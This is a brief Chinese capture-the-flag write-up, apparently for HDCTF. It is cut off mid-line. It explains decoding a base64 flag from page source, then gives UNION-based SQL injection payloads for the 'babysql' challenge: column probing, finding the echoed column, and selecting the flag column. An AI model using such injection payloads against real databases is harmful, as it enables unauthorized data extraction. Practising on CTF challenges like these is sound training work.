websignin直接查看网页源码，flag的base64编码就在里面解码直接出flagHDCTFbabysql直接上联合查询尝试位数1'unionselect1,2,3#找回显位'unionselect1,2,3#按照题目给的提示直接查flag'unionselect1,flag,3fromfla